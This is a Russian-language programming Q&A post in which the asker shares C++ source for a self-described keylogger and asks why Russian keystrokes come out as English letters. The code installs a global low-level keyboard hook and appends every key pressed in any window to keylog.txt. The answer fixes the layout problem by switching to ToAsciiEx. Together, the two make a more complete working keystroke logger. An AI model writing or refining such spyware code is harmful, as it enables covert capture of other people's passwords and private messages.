C++ MapVirtualKeyExA на русский
написал простой кейлоггер, и возникла проблема, переключение языков. Для получения раскладки я использую следующий код:
HWND foreground = GetForegroundWindow();
DWORD threadId;
HKL keyboardLayout;
if (foreground)
{
threadId = GetWindowThreadProcessId(foreground, NULL);
keyboardLayout = GetKeyboardLayout(threadId);
}
Для сопоставления keyCode с русским языком:
crrKey = MapVirtualKeyExA(key, MAPVK_VK_TO_CHAR, keyboardLayout);
Но на выходе все равно получаю английские буквы. keyboardLayout считывается верно:
EN = 04090409, RU = 04190419. Использую консольное приложение.
Запись клавиши в файл:
int Save(int key)
{
if (key == 1 || key == 2) return 0;
HWND foreground = GetForegroundWindow();
DWORD threadId;
HKL keyboardLayout;
if (foreground)
{
threadId = GetWindowThreadProcessId(foreground, NULL);
keyboardLayout = GetKeyboardLayout(threadId);
}
switch (key) {
case VK_BACK:
file << "[BACKSPACE]";
break;
...//Другие случаи
default:
char crrKey;
bool lower = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
{
lower = !lower;
}
crrKey = MapVirtualKeyExA(key, MAPVK_VK_TO_CHAR, keyboardLayout);
if (!lower) {
crrKey = tolower(crrKey);
}
file << char(crrKey);
break;
}
file.flush();
return 0;
}
Хук коллбек:
LRESULT __stdcall keyboardHookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYUP)
{
kbStruct = *((KBDLLHOOKSTRUCT*)lParam);
Save(kbStruct.vkCode);
}
}
return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
}
main:
int main()
{
file.open("keylog.txt", ios_base::app);
if (!(keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookCallback, NULL, 0)))
{
MessageBox(NULL, "Что-то пошло не так", "Error", MB_ICONERROR);
}
MSG message;
while (true) {
GetMessage(&message, NULL, 0, 0);
}
}
#include <Windows.h>
#include <time.h>
#include <iostream>
#include <fstream>
using namespace std;
int Save(int key);
LRESULT __stdcall keyboardHookCallback(int nCode, WPARAM wParam, LPARAM lParam);
LRESULT __stdcall mouseHookCallback(int nCode, WPARAM wParam, LPARAM lParam);
HHOOK keyboardHook;
HHOOK mouseHook;
KBDLLHOOKSTRUCT kbStruct;
ofstream file;
Вот теперь все. Что я делаю не так?
Ответы (1 шт):
Документация говорит, что при вызове MapVirtualKeyExA раскладка клавиатуры игнорируется:
In MAPVK_VK_TO_CHAR mode virtual-key codes, the 'A'..'Z' keys are translated to upper-case 'A'..'Z' characters regardless of current keyboard layout."
Чтобы получить символ, необходимо использовать ToUnicodeEx или ToAsciiEx. Секция default будет выглядеть примерно так:
uint8_t kbdstate[256];
GetKeyboardState(kbdstate);
uint16_t sym;
auto cnt = ToAsciiEx(key, 0, kbdstate, &sym, 0, keyboardLayout);
if (cnt) file << sym;